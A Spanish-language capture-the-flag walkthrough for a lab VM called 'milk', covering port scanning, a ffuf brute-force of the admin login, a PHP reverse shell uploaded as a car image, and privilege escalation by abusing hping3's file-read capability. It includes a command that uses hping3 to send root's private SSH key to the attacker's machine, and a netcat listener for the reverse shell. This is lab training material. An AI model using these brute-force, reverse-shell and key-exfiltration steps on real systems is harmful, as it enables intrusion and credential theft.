Autor: Sml
Dificultad: Medio
Reconocimiento
Comienzo con una enumeración de puertos usando nmap.
$ sudo nmap -p- 192.168.1.177
[sudo] contraseña para user:
Starting Nmap 7.93 ( https://nmap.org ) at 2023-01-01 22:03 UTC
Nmap scan report for 192.168.1.177
Host is up (0.000083s latency).
Not shown: 65533 closed tcp ports (reset)
PORT STATE SERVICE
22/tcp open ssh
80/tcp open http
MAC Address: 08:00:27:BA:69:3A (Oracle VirtualBox virtual NIC)
Nmap done: 1 IP address (1 host up) scanned in 1.38 seconds
80 (http)
Continuo con la enumeración utilizando nikto sobre la página web en el puerto 80 y encuentro un login de administrador.
nikto --host http://192.168.1.177
- Nikto v2.1.6
---------------------------------------------------------------------------
+ Target IP: 192.168.1.177
+ Target Hostname: 192.168.1.177
+ Target Port: 80
+ Start Time: 2023-01-01 22:04:29 (GMT0)
---------------------------------------------------------------------------
[...]
+ OSVDB-3092: /admin/: This might be interesting...
+ OSVDB-3093: /admin/index.php: This might be interesting... has been seen in web logs from an unknown scanner.
Realizo un ataque de fuerza bruta usando ffuf con el usuario admin y consigo su contraseña.
$ cat req.txt
POST /admin/index.php HTTP/1.1
Host: 192.168.1.177
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:108.0) Gecko/20100101 Firefox/108.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: es-ES,es;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded
Content-Length: 34
Origin: http://192.168.1.177
Connection: close
Referer: http://192.168.1.177/admin/index.php
Cookie: PHPSESSID=ooukt4rsu900cuojv7uf3avl4n
Upgrade-Insecure-Requests: 1
username=admin&password=FUZZ&login=
$ ffuf -w /usr/share/seclists/Passwords/Common-Credentials/10k-most-common.txt -request req.txt -debug-log test -u "http://192.168.1.177/admin/index.php" -fs 854
[...]
admin [Status: 200, Size: 873, Words: 3, Lines: 5, Duration: 29ms]
Explotación
Una vez logeado, para conseguir una reverse shell hay que realizar lo siguiente:
- Añadir una marca de coche nueva.
- Añadir un coche nuevo con datos arbitrarios.
- En las imágenes del coche, subir una reverse shell en php.
Una vez guardado el coche nuevo, navego a la página principal y obtengo la conexión.
$ nc -lvnp 1234
Connection from 192.168.1.177:39182
whoami
www-data
Escalado de privilegios
Una vez dentro del servidor, ejecuto linpeas.sh para enumerar posibles métodos de escalado de privilegios y encuentro que hping3 tiene la capabilitie “cap_dac_override” la cual nos permite leer archivos en todo el sistema.
/usr/sbin/hping3 = cap_dac_override,cap_net_raw+ep
Utilizo hping3 para leer la clave privada del usuario root y enviarla a mi máquina.
hping3 -c 1 --file /root/.ssh/id_rsa 192.168.1.79 -d 5000
HPING 192.168.1.79 (enp0s3 192.168.1.79): NO FLAGS are set, 40 headers + 5000 data bytes
len=46 ip=192.168.1.79 ttl=64 DF id=0 sport=0 flags=RA seq=0 win=0 rtt=8.6 ms
Con Wireshark escuchando, obtengo el paquete con la clave privada.
Ahora solo queda guardarla y conectarse mediante ssh.
ssh root@192.168.1.177 -i id_rsa
[...]
Last login: Fri Feb 19 07:47:41 2021
root@milk:~# :)
Muchas gracias a Sml por esta máquina.